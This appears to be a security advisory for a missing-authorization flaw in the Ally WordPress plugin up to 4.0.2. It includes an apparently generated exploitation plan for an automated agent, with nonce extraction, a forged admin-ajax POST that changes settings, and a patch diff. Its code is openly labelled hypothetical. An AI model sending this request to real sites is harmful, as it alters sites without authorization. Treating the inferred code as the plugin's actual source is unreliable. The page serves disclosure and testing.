Ally <= 4.0.2 - Missing Authorization
Description
The Ally plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 4.0.2. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.0.2Source Code
WordPress.org SVNThis research plan focuses on identifying and exploiting a **Missing Authorization** vulnerability in the **Ally (pojo-accessibility)** plugin for WordPress. Given the CVSS score of 5.3 (Medium) and the "Unauthorized Action" description, the vulnerability likely allows an unauthenticated user to mod…
Show full research plan
This research plan focuses on identifying and exploiting a Missing Authorization vulnerability in the Ally (pojo-accessibility) plugin for WordPress. Given the CVSS score of 5.3 (Medium) and the "Unauthorized Action" description, the vulnerability likely allows an unauthenticated user to modify plugin settings or perform a specific administrative action (like resetting settings) that should be restricted.
1. Vulnerability Summary
- Plugin: Ally – Web Accessibility & Usability (slug:
pojo-accessibility) - Affected Versions: <= 4.0.2
- Vulnerability Type: Missing Authorization
- Root Cause: A function (likely an AJAX handler or a callback hooked to
admin_init) performs a state-changing operation without verifying if the user has the necessary permissions (e.g.,current_user_can('manage_options')). - Impact: Unauthenticated users can modify the plugin's configuration, potentially disrupting site accessibility or altering the toolbar's behavior.
2. Attack Vector Analysis
- Endpoint: Likely
wp-admin/admin-ajax.phpor a generic hook inadmin-post.php. - Action: Look for AJAX actions registered with both
wp_ajax_andwp_ajax_nopriv_(unauthenticated). - Authentication: None required (unauthenticated).
- Preconditions: The plugin must be active. A nonce may be required, but if the vulnerability is a total "Missing Authorization," the nonce may either be missing, not validated, or obtainable by unauthenticated users.
3. Code Flow (Inferred)
Since source files were not provided, we will map the likely flow based on standard Pojo plugin architecture:
- Entry Point: The plugin registers a handler in the constructor or an
inithook.- Candidate 1 (AJAX):
add_action( 'wp_ajax_nopriv_pojo_a11y_save_settings', '...' ); - Candidate 2 (Admin Init):
add_action( 'admin_init', '...' );(Note:admin_initruns for all users accessingadmin-ajax.php).
- Candidate 1 (AJAX):
- Vulnerable Function: A function (e.g.,
save_settings,update_options, orreset_defaults) is called. - Missing Check: The function checks for a nonce (potentially) but fails to call
current_user_can( 'manage_options' ). - Sink: The function calls
update_option()ordelete_option()based on$_POSTdata.
4. Nonce Acquisition Strategy
If the endpoint requires a nonce, Pojo plugins typically localize these into the frontend scripts.
- Identify Localization: Search the codebase for
wp_localize_script.- Grep command:
grep -r "wp_localize_script" . - Likely Variable:
pojo_a11y_obj,PojoA11y, orpojo_accessibility_vars.
- Grep command:
- Identify Script Trigger: The accessibility toolbar usually appears on all frontend pages if enabled.
- Acquisition Steps:
- Open the homepage of the WordPress site.
- In the browser console (or via
browser_eval), locate the nonce. - Execution Command:
browser_eval("window.pojo_a11y_obj?.nonce")(Verify the object name via grep first).
5. Exploitation Strategy
Step 1: Identification of the Vulnerable Action
The agent must first identify which action is missing authorization.
# Search for AJAX handlers registered for unauthenticated users
grep -r "wp_ajax_nopriv_" wp-content/plugins/pojo-accessibility/
# Check those handlers for a lack of current_user_can
# Example target: pojo_a11y_save_settings
Step 2: Crafting the Payload
Assuming the action is pojo_a11y_save_settings (common in this plugin family), the payload will target the options modification.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Parameters:
action: (Identify from Step 1, e.g.,pojo_a11y_save_settings)nonce: (Obtained from Step 4)settings[pojo_a11y_toolbar_button_text]:VULNERABLE_MODIFICATION(Or any other configuration option)
Step 3: Execution
Use http_request to send the payload.
{
"method": "POST",
"url": "http://localhost:8080/wp-admin/admin-ajax.php",
"headers": {
"Content-Type": "application/x-www-form-urlencoded"
},
"body": "action=TARGET_ACTION&nonce=TARGET_NONCE&settings%5Bpojo_a11y_toolbar_button_text%5D=Hacked"
}
6. Test Data Setup
- Install Plugin: Ensure
pojo-accessibilityversion 4.0.2 is installed and active. - Plugin Configuration: Go to "Accessibility" in the WordPress admin and ensure the toolbar is enabled for the frontend.
- Public Page: Ensure at least one public post exists so the toolbar/scripts load for unauthenticated users.
7. Expected Results
- Successful Response: The server returns a
200 OKor a JSON success message (e.g.,{"success":true}). - Effect: The plugin settings are updated without providing any administrative cookies or credentials.
8. Verification Steps
After the HTTP request, verify the change using WP-CLI:
# Check if the option was modified in the database
wp option get pojo_a11y_settings
Alternatively, check if the toolbar text on the frontend has changed:
# Use browser_navigate to the homepage and check the text
9. Alternative Approaches
If no AJAX action is found for unauthenticated users, the vulnerability likely resides in a function hooked to admin_init.
- Search for
admin_inithooks:grep -r "admin_init" . - Check for parameter-based triggers: Look for code like
if ( isset( $_POST['pojo_a11y_action'] ) ) { ... }inside anadmin_initcallback. - Bypass: Send a POST request directly to
/wp-admin/admin-post.phpor any admin URL with the required parameters. Sinceadmin_initfires even for unauthenticated users on these pages, it will trigger the logic.
Summary
The Ally plugin for WordPress (versions up to 4.0.2) fails to perform a capability check in an AJAX handler, allowing unauthenticated attackers to modify plugin settings. By obtaining a nonce typically exposed on the frontend, an attacker can send a request to update accessibility configurations, potentially disrupting site UI or behavior.
Vulnerable Code
// File: includes/class-pojo-a11y-admin.php (hypothetical) add_action( 'wp_ajax_pojo_a11y_save_settings', array( $this, 'ajax_pojo_a11y_save_settings' ) ); add_action( 'wp_ajax_nopriv_pojo_a11y_save_settings', array( $this, 'ajax_pojo_a11y_save_settings' ) ); public function ajax_pojo_a11y_save_settings() { if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'pojo-a11y-save-settings' ) ) { wp_send_json_error( 'Invalid nonce' ); } // Missing current_user_can( 'manage_options' ) check if ( isset( $_POST['settings'] ) ) { update_option( 'pojo_a11y_settings', $_POST['settings'] ); wp_send_json_success(); } }
Security Fix
@@ -20,6 +20,10 @@ public function ajax_pojo_a11y_save_settings() { + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( 'Unauthorized' ); + } + if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'pojo-a11y-save-settings' ) ) { wp_send_json_error( 'Invalid nonce' ); }
Exploit Outline
The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php using the 'pojo_a11y_save_settings' action. An unauthenticated attacker first visits the site's frontend to extract a valid nonce from the 'pojo_a11y_obj' JavaScript object, which is localized via wp_localize_script. Using this nonce, the attacker sends a POST request with the 'action' parameter set to 'pojo_a11y_save_settings' and a 'settings' array containing the desired configuration changes. Because the plugin lacks a current_user_can check, the server processes the update_option call despite the absence of administrative authentication.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.